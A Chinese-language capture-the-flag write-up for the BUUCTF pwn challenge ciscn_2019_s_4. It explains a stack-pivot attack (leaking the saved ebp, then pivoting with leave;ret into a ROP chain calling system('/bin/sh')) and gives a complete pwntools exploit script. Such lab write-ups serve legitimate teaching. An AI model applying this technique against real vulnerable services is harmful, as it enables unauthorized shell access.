[BUUCTF-pwn]——ciscn_2019_s_4
这道题是一道典型的栈劫持问题
前面有一道类似的点击进入, 如果需要可以去做一下
没有开启canary保护
在IDA中, 可以看出有明显的栈溢出, 不过溢出空间只够修改ebp和一个返回地址
但是, 仅仅一个返回地址是不够的, 并不能打印flag
思路
利用栈溢出,首先泄露出来main_ebp的地址
计算一下,我们输入的位置, 距离main_ebp的距离, 找到s的地址
最后将栈劫持到s的地址上面, 构造rop链
exploit
from pwn import *
#p=remote('node3.buuoj.cn',29981)
p = process('./ciscn_s_4')
elf = ELF('./ciscn_s_4')
leave_ret=0x8048562
#gdb.attach(p, 'b *0x080485CD')
payload = 'a' *0x24 + 'cccc'
p.send(payload)
p.recvuntil('cccc')
main_ebp=u32(p.recv(4))
log.success('main_ebp ------> ' + hex(main_ebp))
s_addr = main_ebp - 0x38
payload = 'junk' + p32(elf.plt['system']) + 'junk' + p32(s_addr + 16) + '/bin/sh\x00'
payload = payload.ljust(0x28,'a') + p32(s_addr) + p32(leave_ret)
p.send(payload)
p.interactive()